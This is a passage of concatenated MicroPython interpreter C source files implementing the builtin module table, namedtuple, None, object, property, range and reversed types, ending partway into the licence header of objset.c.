#if MICROPY_PY_UHEAPQ { MP_ROM_QSTR(MP_QSTR_uheapq), MP_ROM_PTR(&mp_module_uheapq) }, #endif #if MICROPY_PY_UTIMEQ { MP_ROM_QSTR(MP_QSTR_utimeq), MP_ROM_PTR(&mp_module_utimeq) }, #endif #if MICROPY_PY_UHASHLIB { MP_ROM_QSTR(MP_QSTR_uhashlib), MP_ROM_PTR(&mp_module_uhashlib) }, #endif #if MICROPY_PY_UBINASCII { MP_ROM_QSTR(MP_QSTR_ubinascii), MP_ROM_PTR(&mp_module_ubinascii) }, #endif #if MICROPY_PY_URANDOM { MP_ROM_QSTR(MP_QSTR_urandom), MP_ROM_PTR(&mp_module_urandom) }, #endif #if MICROPY_PY_USELECT { MP_ROM_QSTR(MP_QSTR_uselect), MP_ROM_PTR(&mp_module_uselect) }, #endif #if MICROPY_PY_USSL { MP_ROM_QSTR(MP_QSTR_ussl), MP_ROM_PTR(&mp_module_ussl) }, #endif #if MICROPY_PY_LWIP { MP_ROM_QSTR(MP_QSTR_lwip), MP_ROM_PTR(&mp_module_lwip) }, #endif #if MICROPY_PY_WEBSOCKET { MP_ROM_QSTR(MP_QSTR_websocket), MP_ROM_PTR(&mp_module_websocket) }, #endif #if MICROPY_PY_WEBREPL { MP_ROM_QSTR(MP_QSTR__webrepl), MP_ROM_PTR(&mp_module_webrepl) }, #endif #if MICROPY_PY_FRAMEBUF { MP_ROM_QSTR(MP_QSTR_framebuf), MP_ROM_PTR(&mp_module_framebuf) }, #endif #if MICROPY_PY_BTREE { MP_ROM_QSTR(MP_QSTR_btree), MP_ROM_PTR(&mp_module_btree) }, #endif // extra builtin modules as defined by a port MICROPY_PORT_BUILTIN_MODULES }; MP_DEFINE_CONST_MAP(mp_builtin_module_map, mp_builtin_module_table); #if MICROPY_MODULE_WEAK_LINKS STATIC const mp_rom_map_elem_t mp_builtin_module_weak_links_table[] = { MICROPY_PORT_BUILTIN_MODULE_WEAK_LINKS }; MP_DEFINE_CONST_MAP(mp_builtin_module_weak_links_map, mp_builtin_module_weak_links_table); #endif // returns MP_OBJ_NULL if not found mp_obj_t mp_module_get(qstr module_name) { mp_map_t *mp_loaded_modules_map = &MP_STATE_VM(mp_loaded_modules_dict).map; // lookup module mp_map_elem_t *el = mp_map_lookup(mp_loaded_modules_map, MP_OBJ_NEW_QSTR(module_name), MP_MAP_LOOKUP); if (el == NULL) { // module not found, look for builtin module names el = mp_map_lookup((mp_map_t*)&mp_builtin_module_map, MP_OBJ_NEW_QSTR(module_name), MP_MAP_LOOKUP); if (el == NULL) { return MP_OBJ_NULL; } if (MICROPY_MODULE_BUILTIN_INIT) { // look for __init__ and call it if it exists mp_obj_t dest[2]; mp_load_method_maybe(el->value, MP_QSTR___init__, dest); if (dest[0] != MP_OBJ_NULL) { mp_call_method_n_kw(0, 0, dest); // register module so __init__ is not called again mp_module_register(module_name, el->value); } } } // module found, return it return el->value; } void mp_module_register(qstr qst, mp_obj_t module) { mp_map_t *mp_loaded_modules_map = &MP_STATE_VM(mp_loaded_modules_dict).map; mp_map_lookup(mp_loaded_modules_map, MP_OBJ_NEW_QSTR(qst), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND)->value = module; } ================================================ FILE: micropython/source/py/objnamedtuple.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/nlr.h" #include "py/objtuple.h" #include "py/runtime.h" #include "py/objstr.h" #if MICROPY_PY_COLLECTIONS typedef struct _mp_obj_namedtuple_type_t { mp_obj_type_t base; size_t n_fields; qstr fields[]; } mp_obj_namedtuple_type_t; typedef struct _mp_obj_namedtuple_t { mp_obj_tuple_t tuple; } mp_obj_namedtuple_t; STATIC size_t namedtuple_find_field(const mp_obj_namedtuple_type_t *type, qstr name) { for (size_t i = 0; i < type->n_fields; i++) { if (type->fields[i] == name) { return i; } } return (size_t)-1; } STATIC void namedtuple_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_namedtuple_t *o = MP_OBJ_TO_PTR(o_in); mp_printf(print, "%q", o->tuple.base.type->name); const qstr *fields = ((mp_obj_namedtuple_type_t*)o->tuple.base.type)->fields; mp_obj_attrtuple_print_helper(print, fields, &o->tuple); } STATIC void namedtuple_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) { if (dest[0] == MP_OBJ_NULL) { // load attribute mp_obj_namedtuple_t *self = MP_OBJ_TO_PTR(self_in); size_t id = namedtuple_find_field((mp_obj_namedtuple_type_t*)self->tuple.base.type, attr); if (id == (size_t)-1) { return; } dest[0] = self->tuple.items[id]; } else { // delete/store attribute // provide more detailed error message than we'd get by just returning mp_raise_msg(&mp_type_AttributeError, "can't set attribute"); } } STATIC mp_obj_t namedtuple_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { const mp_obj_namedtuple_type_t *type = (const mp_obj_namedtuple_type_t*)type_in; size_t num_fields = type->n_fields; if (n_args + n_kw != num_fields) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_NORMAL) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function takes %d positional arguments but %d were given", num_fields, n_args + n_kw)); } else if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED) { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "%q() takes %d positional arguments but %d were given", type->base.name, num_fields, n_args + n_kw)); } } // Create a tuple and set the type to this namedtuple mp_obj_tuple_t *tuple = MP_OBJ_TO_PTR(mp_obj_new_tuple(num_fields, NULL)); tuple->base.type = type_in; // Copy the positional args into the first slots of the namedtuple memcpy(&tuple->items[0], args, sizeof(mp_obj_t) * n_args); // Fill in the remaining slots with the keyword args memset(&tuple->items[n_args], 0, sizeof(mp_obj_t) * n_kw); for (size_t i = n_args; i < n_args + 2 * n_kw; i += 2) { qstr kw = mp_obj_str_get_qstr(args[i]); size_t id = namedtuple_find_field(type, kw); if (id == (size_t)-1) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "unexpected keyword argument '%q'", kw)); } } if (tuple->items[id] != MP_OBJ_NULL) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_arg_error_terse_mismatch(); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "function got multiple values for argument '%q'", kw)); } } tuple->items[id] = args[i + 1]; } return MP_OBJ_FROM_PTR(tuple); } STATIC mp_obj_t mp_obj_new_namedtuple_type(qstr name, size_t n_fields, mp_obj_t *fields) { mp_obj_namedtuple_type_t *o = m_new_obj_var(mp_obj_namedtuple_type_t, qstr, n_fields); memset(&o->base, 0, sizeof(o->base)); o->base.base.type = &mp_type_type; o->base.name = name; o->base.print = namedtuple_print; o->base.make_new = namedtuple_make_new; o->base.unary_op = mp_obj_tuple_unary_op; o->base.binary_op = mp_obj_tuple_binary_op; o->base.attr = namedtuple_attr; o->base.subscr = mp_obj_tuple_subscr; o->base.getiter = mp_obj_tuple_getiter; o->base.parent = &mp_type_tuple; o->n_fields = n_fields; for (size_t i = 0; i < n_fields; i++) { o->fields[i] = mp_obj_str_get_qstr(fields[i]); } return MP_OBJ_FROM_PTR(o); } STATIC mp_obj_t new_namedtuple_type(mp_obj_t name_in, mp_obj_t fields_in) { qstr name = mp_obj_str_get_qstr(name_in); size_t n_fields; mp_obj_t *fields; #if MICROPY_CPYTHON_COMPAT if (MP_OBJ_IS_STR(fields_in)) { fields_in = mp_obj_str_split(1, &fields_in); } #endif mp_obj_get_array(fields_in, &n_fields, &fields); return mp_obj_new_namedtuple_type(name, n_fields, fields); } MP_DEFINE_CONST_FUN_OBJ_2(mp_namedtuple_obj, new_namedtuple_type); #endif // MICROPY_PY_COLLECTIONS ================================================ FILE: micropython/source/py/objnone.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/nlr.h" #include "py/obj.h" #include "py/runtime0.h" typedef struct _mp_obj_none_t { mp_obj_base_t base; } mp_obj_none_t; STATIC void none_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)self_in; if (MICROPY_PY_UJSON && kind == PRINT_JSON) { mp_print_str(print, "null"); } else { mp_print_str(print, "None"); } } const mp_obj_type_t mp_type_NoneType = { { &mp_type_type }, .name = MP_QSTR_NoneType, .print = none_print, .unary_op = mp_generic_unary_op, }; const mp_obj_none_t mp_const_none_obj = {{&mp_type_NoneType}}; ================================================ FILE: micropython/source/py/objobject.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/objtype.h" #include "py/runtime.h" typedef struct _mp_obj_object_t { mp_obj_base_t base; } mp_obj_object_t; STATIC mp_obj_t object_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)args; mp_arg_check_num(n_args, n_kw, 0, 0, false); mp_obj_object_t *o = m_new_obj(mp_obj_object_t); o->base.type = type; return MP_OBJ_FROM_PTR(o); } #if MICROPY_CPYTHON_COMPAT STATIC mp_obj_t object___init__(mp_obj_t self) { (void)self; return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(object___init___obj, object___init__); STATIC mp_obj_t object___new__(mp_obj_t cls) { if (!MP_OBJ_IS_TYPE(cls, &mp_type_type) || !mp_obj_is_instance_type((mp_obj_type_t*)MP_OBJ_TO_PTR(cls))) { mp_raise_TypeError("__new__ arg must be a user-type"); } mp_obj_t o = MP_OBJ_SENTINEL; mp_obj_t res = mp_obj_instance_make_new(MP_OBJ_TO_PTR(cls), 1, 0, &o); return res; } STATIC MP_DEFINE_CONST_FUN_OBJ_1(object___new___fun_obj, object___new__); STATIC MP_DEFINE_CONST_STATICMETHOD_OBJ(object___new___obj, MP_ROM_PTR(&object___new___fun_obj)); STATIC const mp_rom_map_elem_t object_locals_dict_table[] = { #if MICROPY_CPYTHON_COMPAT { MP_ROM_QSTR(MP_QSTR___init__), MP_ROM_PTR(&object___init___obj) }, #endif #if MICROPY_CPYTHON_COMPAT { MP_ROM_QSTR(MP_QSTR___new__), MP_ROM_PTR(&object___new___obj) }, #endif }; STATIC MP_DEFINE_CONST_DICT(object_locals_dict, object_locals_dict_table); #endif const mp_obj_type_t mp_type_object = { { &mp_type_type }, .name = MP_QSTR_object, .make_new = object_make_new, #if MICROPY_CPYTHON_COMPAT .locals_dict = (mp_obj_dict_t*)&object_locals_dict, #endif }; ================================================ FILE: micropython/source/py/objpolyiter.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/nlr.h" #include "py/runtime.h" // This is universal iterator type which calls "iternext" method stored in // particular object instance. (So, each instance of this time can have its // own iteration behavior.) Having this type saves to define type objects // for various internal iterator objects. // Any instance should have these 2 fields at the beginning typedef struct _mp_obj_polymorph_iter_t { mp_obj_base_t base; mp_fun_1_t iternext; } mp_obj_polymorph_iter_t; STATIC mp_obj_t polymorph_it_iternext(mp_obj_t self_in) { mp_obj_polymorph_iter_t *self = MP_OBJ_TO_PTR(self_in); // Redirect call to object instance's iternext method return self->iternext(self_in); } const mp_obj_type_t mp_type_polymorph_iter = { { &mp_type_type }, .name = MP_QSTR_iterator, .getiter = mp_identity_getiter, .iternext = polymorph_it_iternext, }; ================================================ FILE: micropython/source/py/objproperty.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_PROPERTY typedef struct _mp_obj_property_t { mp_obj_base_t base; mp_obj_t proxy[3]; // getter, setter, deleter } mp_obj_property_t; STATIC mp_obj_t property_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { enum { ARG_fget, ARG_fset, ARG_fdel, ARG_doc }; static const mp_arg_t allowed_args[] = { { MP_QSTR_, MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} }, { MP_QSTR_, MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} }, { MP_QSTR_, MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} }, { MP_QSTR_doc, MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} }, }; mp_arg_val_t vals[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all_kw_array(n_args, n_kw, args, MP_ARRAY_SIZE(allowed_args), allowed_args, vals); mp_obj_property_t *o = m_new_obj(mp_obj_property_t); o->base.type = type; o->proxy[0] = vals[ARG_fget].u_obj; o->proxy[1] = vals[ARG_fset].u_obj; o->proxy[2] = vals[ARG_fdel].u_obj; // vals[ARG_doc] is silently discarded return MP_OBJ_FROM_PTR(o); } STATIC mp_obj_t property_getter(mp_obj_t self_in, mp_obj_t getter) { mp_obj_property_t *p2 = m_new_obj(mp_obj_property_t); *p2 = *(mp_obj_property_t*)MP_OBJ_TO_PTR(self_in); p2->proxy[0] = getter; return MP_OBJ_FROM_PTR(p2); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(property_getter_obj, property_getter); STATIC mp_obj_t property_setter(mp_obj_t self_in, mp_obj_t setter) { mp_obj_property_t *p2 = m_new_obj(mp_obj_property_t); *p2 = *(mp_obj_property_t*)MP_OBJ_TO_PTR(self_in); p2->proxy[1] = setter; return MP_OBJ_FROM_PTR(p2); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(property_setter_obj, property_setter); STATIC mp_obj_t property_deleter(mp_obj_t self_in, mp_obj_t deleter) { mp_obj_property_t *p2 = m_new_obj(mp_obj_property_t); *p2 = *(mp_obj_property_t*)MP_OBJ_TO_PTR(self_in); p2->proxy[2] = deleter; return MP_OBJ_FROM_PTR(p2); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(property_deleter_obj, property_deleter); STATIC const mp_rom_map_elem_t property_locals_dict_table[] = { { MP_ROM_QSTR(MP_QSTR_getter), MP_ROM_PTR(&property_getter_obj) }, { MP_ROM_QSTR(MP_QSTR_setter), MP_ROM_PTR(&property_setter_obj) }, { MP_ROM_QSTR(MP_QSTR_deleter), MP_ROM_PTR(&property_deleter_obj) }, }; STATIC MP_DEFINE_CONST_DICT(property_locals_dict, property_locals_dict_table); const mp_obj_type_t mp_type_property = { { &mp_type_type }, .name = MP_QSTR_property, .make_new = property_make_new, .locals_dict = (mp_obj_dict_t*)&property_locals_dict, }; const mp_obj_t *mp_obj_property_get(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_property)); mp_obj_property_t *self = MP_OBJ_TO_PTR(self_in); return self->proxy; } #endif // MICROPY_PY_BUILTINS_PROPERTY ================================================ FILE: micropython/source/py/objrange.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/nlr.h" #include "py/runtime0.h" #include "py/runtime.h" /******************************************************************************/ /* range iterator */ typedef struct _mp_obj_range_it_t { mp_obj_base_t base; // TODO make these values generic objects or something mp_int_t cur; mp_int_t stop; mp_int_t step; } mp_obj_range_it_t; STATIC mp_obj_t range_it_iternext(mp_obj_t o_in) { mp_obj_range_it_t *o = MP_OBJ_TO_PTR(o_in); if ((o->step > 0 && o->cur < o->stop) || (o->step < 0 && o->cur > o->stop)) { mp_obj_t o_out = MP_OBJ_NEW_SMALL_INT(o->cur); o->cur += o->step; return o_out; } else { return MP_OBJ_STOP_ITERATION; } } STATIC const mp_obj_type_t range_it_type = { { &mp_type_type }, .name = MP_QSTR_iterator, .getiter = mp_identity_getiter, .iternext = range_it_iternext, }; STATIC mp_obj_t mp_obj_new_range_iterator(mp_int_t cur, mp_int_t stop, mp_int_t step, mp_obj_iter_buf_t *iter_buf) { assert(sizeof(mp_obj_range_it_t) <= sizeof(mp_obj_iter_buf_t)); mp_obj_range_it_t *o = (mp_obj_range_it_t*)iter_buf; o->base.type = &range_it_type; o->cur = cur; o->stop = stop; o->step = step; return MP_OBJ_FROM_PTR(o); } /******************************************************************************/ /* range */ typedef struct _mp_obj_range_t { mp_obj_base_t base; // TODO make these values generic objects or something mp_int_t start; mp_int_t stop; mp_int_t step; } mp_obj_range_t; STATIC void range_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) { (void)kind; mp_obj_range_t *self = MP_OBJ_TO_PTR(self_in); mp_printf(print, "range(" INT_FMT ", " INT_FMT "", self->start, self->stop); if (self->step == 1) { mp_print_str(print, ")"); } else { mp_printf(print, ", " INT_FMT ")", self->step); } } STATIC mp_obj_t range_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_arg_check_num(n_args, n_kw, 1, 3, false); mp_obj_range_t *o = m_new_obj(mp_obj_range_t); o->base.type = type; o->start = 0; o->step = 1; if (n_args == 1) { o->stop = mp_obj_get_int(args[0]); } else { o->start = mp_obj_get_int(args[0]); o->stop = mp_obj_get_int(args[1]); if (n_args == 3) { o->step = mp_obj_get_int(args[2]); if (o->step == 0) { mp_raise_ValueError("zero step"); } } } return MP_OBJ_FROM_PTR(o); } STATIC mp_int_t range_len(mp_obj_range_t *self) { // When computing length, need to take into account step!=1 and step<0. mp_int_t len = self->stop - self->start + self->step; if (self->step > 0) { len -= 1; } else { len += 1; } len = len / self->step; if (len < 0) { len = 0; } return len; } STATIC mp_obj_t range_unary_op(mp_uint_t op, mp_obj_t self_in) { mp_obj_range_t *self = MP_OBJ_TO_PTR(self_in); mp_int_t len = range_len(self); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(len > 0); case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(len); default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t range_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) { if (value == MP_OBJ_SENTINEL) { // load mp_obj_range_t *self = MP_OBJ_TO_PTR(self_in); mp_int_t len = range_len(self); #if MICROPY_PY_BUILTINS_SLICE if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) { mp_bound_slice_t slice; mp_seq_get_fast_slice_indexes(len, index, &slice); mp_obj_range_t *o = m_new_obj(mp_obj_range_t); o->base.type = &mp_type_range; o->start = self->start + slice.start * self->step; o->stop = self->start + slice.stop * self->step; o->step = slice.step * self->step; if (slice.step < 0) { // Negative slice steps have inclusive stop, so adjust for exclusive o->stop -= self->step; } return MP_OBJ_FROM_PTR(o); } #endif size_t index_val = mp_get_index(self->base.type, len, index, false); return MP_OBJ_NEW_SMALL_INT(self->start + index_val * self->step); } else { return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t range_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) { mp_obj_range_t *o = MP_OBJ_TO_PTR(o_in); return mp_obj_new_range_iterator(o->start, o->stop, o->step, iter_buf); } #if MICROPY_PY_BUILTINS_RANGE_ATTRS STATIC void range_attr(mp_obj_t o_in, qstr attr, mp_obj_t *dest) { if (dest[0] != MP_OBJ_NULL) { // not load attribute return; } mp_obj_range_t *o = MP_OBJ_TO_PTR(o_in); if (attr == MP_QSTR_start) { dest[0] = mp_obj_new_int(o->start); } else if (attr == MP_QSTR_stop) { dest[0] = mp_obj_new_int(o->stop); } else if (attr == MP_QSTR_step) { dest[0] = mp_obj_new_int(o->step); } } #endif const mp_obj_type_t mp_type_range = { { &mp_type_type }, .name = MP_QSTR_range, .print = range_print, .make_new = range_make_new, .unary_op = range_unary_op, .subscr = range_subscr, .getiter = range_getiter, #if MICROPY_PY_BUILTINS_RANGE_ATTRS .attr = range_attr, #endif }; ================================================ FILE: micropython/source/py/objreversed.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/runtime.h" #if MICROPY_PY_BUILTINS_REVERSED typedef struct _mp_obj_reversed_t { mp_obj_base_t base; mp_obj_t seq; // sequence object that we are reversing mp_uint_t cur_index; // current index, plus 1; 0=no more, 1=last one (index 0) } mp_obj_reversed_t; STATIC mp_obj_t reversed_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) { mp_arg_check_num(n_args, n_kw, 1, 1, false); // check if __reversed__ exists, and if so delegate to it mp_obj_t dest[2]; mp_load_method_maybe(args[0], MP_QSTR___reversed__, dest); if (dest[0] != MP_OBJ_NULL) { return mp_call_method_n_kw(0, 0, dest); } mp_obj_reversed_t *o = m_new_obj(mp_obj_reversed_t); o->base.type = type; o->seq = args[0]; o->cur_index = mp_obj_get_int(mp_obj_len(args[0])); // start at the end of the sequence return MP_OBJ_FROM_PTR(o); } STATIC mp_obj_t reversed_iternext(mp_obj_t self_in) { mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_reversed)); mp_obj_reversed_t *self = MP_OBJ_TO_PTR(self_in); // "raise" stop iteration if we are at the end (the start) of the sequence if (self->cur_index == 0) { return MP_OBJ_STOP_ITERATION; } // pre-decrement and index sequence self->cur_index -= 1; return mp_obj_subscr(self->seq, MP_OBJ_NEW_SMALL_INT(self->cur_index), MP_OBJ_SENTINEL); } const mp_obj_type_t mp_type_reversed = { { &mp_type_type }, .name = MP_QSTR_reversed, .make_new = reversed_make_new, .getiter = mp_identity_getiter, .iternext = reversed_iternext, }; #endif // MICROPY_PY_BUILTINS_REVERSED ================================================ FILE: micropython/source/py/objset.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 